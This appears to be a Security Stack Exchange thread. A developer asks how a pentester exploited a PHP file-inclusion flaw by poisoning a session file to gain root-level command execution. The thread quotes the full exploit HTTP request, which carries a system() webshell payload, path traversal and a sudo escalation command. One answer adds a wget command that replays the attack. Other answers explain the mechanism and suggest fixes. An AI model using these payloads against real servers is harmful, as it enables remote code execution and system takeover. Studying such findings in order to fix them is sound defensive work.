2

I am way out of my depth here. We have just had a pentest done, and we had one critical finding:

if (file_exists($includeFile)) { 
    $f_type = filetype($includeFile);
    if ($f_info['extension'] == 'md') {
        $markdown = file_get_contents($includeFile);
        HTMLClass::show($markdown, FALSE, FALSE, FALSE, TRUE);
    } else { 
        require_once($includeFile);
    }
}

We can switch on open_basedir in PHP as a (possible?) partial fix but I am sure more needs to be done.

I want to fix it, but have no idea how to interpret or reproduce their findings or where to start with fixing. I do not understand the below:

Essentially the code above means that sending php[file]=/../../../arbitrary_file as POST payload, the 
application will pick the value from the specified parameter and include it as a file from the file 
system. If it happens to contain PHP code, it will be parsed and executed.

To exploit this behavior, an attacker can attempt to fill his session variable with PHP code. In 
this case it is sufficient to issue a request which causes the session file on the server to be 
filled with the PHP contents of the query string (shown below) that, when included, result in 
arbitrary code being run remotely.

Apparently they made the following request:

POST /?page=Welcome<?php+echo+123;system($_POST[xxx]);?> HTTP/1.1
Host: my.host.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://my.host.com/?page=Welcome
Cookie: PHPSESSID=13371
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc 'su -c "echo \"some-password\" | sudo -S id" - a-username'

Apparently this resulted in:

[...]
MB";s:27:"memory_get_peak_usage(TRUE)";s:6:"2.5 MB";}i:4;a:9:{s:2:"id";i:4;s:5:"title";s:58:"$_GET start - Welcome123<br /><b>Notice</b>: Use of undefined constant xxx - assumed 'xxx' in <b>/var/lib/php5/sess_testtesta</b> on line <b>1</b><br />
Password:

[sudo] password for root: uid=0(root) gid=0(root) groups=0(root)";s:9:"backtrace";s:14:"a-file.php
[...]    

What is php[file] in this context? And how could it be used to do what they say is being done? All I could find with POST and PHP in close proximity in our code was the below, in a JS file.

$.post("",{
    php: "some-file.php",
    id: RecID
}

Not sure how this relates to one another? Or even if it does?

I hope the above is enough info, as it is all I've got to work with. Note: I did change some sensitive info in the request, but just host names and such, nothing else that could be material (I think).

How can I simulate their test and secure our code?

Edit

I am aware that php[file] is an array, but is the particular name significant in this case? Or could it be called foo[bar] and have the same effect? And how does providing this array in a POST cause this? How do I simulate this POST? I am not getting their output using Postman, perhaps because I am doing it wrong.

Edit 2

I got some further feedback from the original developer:

They first get the current session ID

They then use the "?page= ..." to add php code to the session file. This is in fact the key. Via the session variable they have the power to write to a file on the disc. A file whose name and location is known, as it contains the session ID.

And then they put that file into the $_POST['php'] call, the PHP content therein gets executed (this is of course the main security hole, ODB lets users include and execute any file), including any call to "system".

Their specific call to "system" executes the contents of $_POST['xxx'], which they also define in the call - there they use the username and password they had access to.

If we remove the possibility to include and execute any PHP file, and if we check more carefully what we actually store in the session variable then we should be safe.

That's also why it has to be sent two times - the content goes to the session file only after the first execution!

  • 1
    Sorry, I didn't meant to imply that you are a new coder. You're right - getting more experience is always a good thing. My point was more that if the code doesn't make sense to you, and the exploit doesn't make sense to you, then your best bet is to talk to someone who may understand these things. If the person who wrote the code in question is not available then I would suggest reaching out to the researcher. If they have taken the time to submit this in the first place (rather than exploit it) then they are obviously willing to work with you. – Conor Mancone Sep 30 at 9:21
  • 2
    That means that if you respond with "I'm currently unable to reproduce this. Can you please confirm or provide some additional details?" (although some more specifics would probably help) I'm sure they will be happy to assist. I can guarantee you that they already spent a lot of time on this, so a bit more shouldn't be a deal breaker for them. – Conor Mancone Sep 30 at 9:22
  • 1
    I'd +1 on asking the pentest team for more information here. That request they sent looks odd, I'd guess it might be from a scanner, as they're trying multiple attacks at once (the PHP in the URL and then again in the POST data). Ask the tester to show an isolated case just addressing the issue they've given you, that should make it clearer what's happening. – Rory McCune Sep 30 at 9:43
  • 1
    To be clear, I don't doubt the pentester at all. His payload and his response both agree: the response is exactly what I would expect for the given payload, so either the vulnerability is real or the researcher is 100% making this up. Since everything is always verified by the internal team though, there is literally no upside to lying about this, so that is very low on the list of possibilities – Conor Mancone Sep 30 at 11:58
  • 1
    I think the trouble is that you haven't actually found the vulnerable code. This is definitely a more complicated one, and good understanding of your code base will be required to straighten it out. It certainly seems like an RCE exists here, and it seems like that php[file] input is part of it, but ultimately you are going to have to connect the dots because you are the only one who can see your code - which is why I suggest involving whoever wrote this code – Conor Mancone Sep 30 at 12:03
3

php[file] is defining an array named php with an entry named file (and value /../../../../../../var/lib/php5/sess_13371)

Presumably, you fill $includeFile like

$includeFile = "app/includes/" . $php['file'];

Which would then become something like "app/includes/../../../../../../var/lib/php5/sess_13371and end up reading (and since it is treated as php, executing)/var/lib/php5/sess_13371`.

You should not trust the user to provide the file to execute. Ideally, you would have a tiny list of allowed values, that you could then map to the proper files.

If trying to make the smallest possible change, I would probably do a preg_match('/^[A-Za-z]+\.php$', <parameter>); to filter that they can only load the files on a single folder (supposing that there is a folder with those and only those files, safe to execute).

The part where you check if it's a markdown file in order to pretty show it baffles me, though. If these are files provided by the user, and not static files from your app, you do not want to execute them as php. You might use readfile to pass them to the screen, not require/include!

Even then, that would still allow javascript injection, which you could solve with something like echo htmlspecialchars(file_get_contents($includeFile));. And with no control of the provided paths, that would still allow an attacker controlling the filename to read files they should not (such as /etc/passwed, or your app configuration files).

Update: how to replicate their request

You can replicate the above request using multiple tools. For example, using wget:

wget 'https://my.host.com/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>' U 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' --header 'Accept: /' --header 'Accept-Language: en-US,en;q=0.5' --header 'Accept-Encoding: gzip, deflate' --header 'X-Requested-With: XMLHttpRequest' --header 'Referer: https://my.host.com/?page=Welcome' --header 'Cookie: PHPSESSID=13371' --post-data='php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc %27su -c "echo \"some-password\" | sudo -S id" - a-username%27'

(most headers will be irrelevant to the issue at hand, though)

Plus obviously, you can always directly copy the request using netcat (nc) or -with https- openssl s_client or gnutls-cli.

| improve this answer | |
  • Thank you. The $includeFile is not a user accessible feature. It is done by a system admin at a configuration level. So the use case would be solely in the case of a hacking, I guess, and that is what I need to prevent. The MD files are again not user provided at run-time, or even uploaded somewhere - they are added in the system config as help files for some aspects of the system. So - if doing htmlspecialchars() would resolve the file_get_contents() issue, and if paired with PHP's open_basedir restriction, would that be enough? Does the name php[file] bear any significance? – Kobus Myburgh Sep 30 at 7:11
  • 1
    @KobusMyburgh Are you sure that $includeFile does not have any user input in it? That's pretty much the only way this makes sense, because the PoC clearly shows the attacker providing php[file] as user input. php[file] is nothing specific to PHP - I assume that is an input that your application accepts. The one thing I would strongly suggest against is trying to put out some "fixes" (htmlspecialchars, open_basedir) without first understanding the full issue. It's easy to incorrectly fix things and leave yourself just as vulnerable. – Conor Mancone Sep 30 at 9:25
  • @ConorMancone - yes, I am sure that it is not the way the system is meant to be used. But clearly it can be, which should be prevented. There is a central configuration file where we specify the files to include. We would, for example, code a PHP class to do a certain task, which would be then configured in the configuration file. $includeFile is then populated from this configuration file, which is only edited by developers in the team. So - regular web users can't do that "if the system is used the way it was intended" - but of course, hackers are exempt from that restriction. – Kobus Myburgh Sep 30 at 11:03
  • @Angel - if you could please explain to me how I can make the POST request the pentesters did there, I can accept your answer as the correct one, as that is the only thing I really need to know still? Or do I accept the answer anyway, as it is partially answering my questions? – Kobus Myburgh Oct 2 at 19:58
  • 1
    @KobusMyburgh I have added an update with a command for generating such request – Ángel Oct 2 at 21:23
1

PHP stores session data in files. On your server, it stores them in /var/lib/php5/. The file will be called sess_[session id]. The session ID in this case is the value of the PHPSESSID cookie. See also:

https://stackoverflow.com/questions/15852537/how-phpsessid-are-saved

So they've changed their PHPSESSID cookie value to '13371'. This made PHP create the file /var/lib/php5/sess_13371.

PHP will store the current page you're visiting in the session storage, thus in the session file. In this case, they visit the URL:

/?page=Welcome<?php+echo+123;system($_POST[xxx]);?>

PHP will store this page variable in the session file (/var/lib/php5/sess_13371) in plaintext together with some binary stuff around it. So the session file now has content similar to:

[binary stuff]page=Welcome<?php+echo+123;system($_POST[xxx]);?>[binary stuff]

Now, because of the vulnerability, they can call require_once on this file, resulting in PHP executing it (php[file] is the variable that will end up as the variable $includeFile in the code). PHP doesn't care about anything that's not inside PHP tags (<?). Thus, it will execute echo 123; system($_POST[xxx]);.

system will execute any system command, which is in this case defined by the POST variable xxx. So they can just say xxx=whoami, to execute the command whoami. Does that make sense?

| improve this answer | |
  • Thanks! It does make sense to me. We've done some work on fixing the security holes and are busy doing more tests to see if it is all resolved. – Kobus Myburgh Oct 12 at 12:15

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.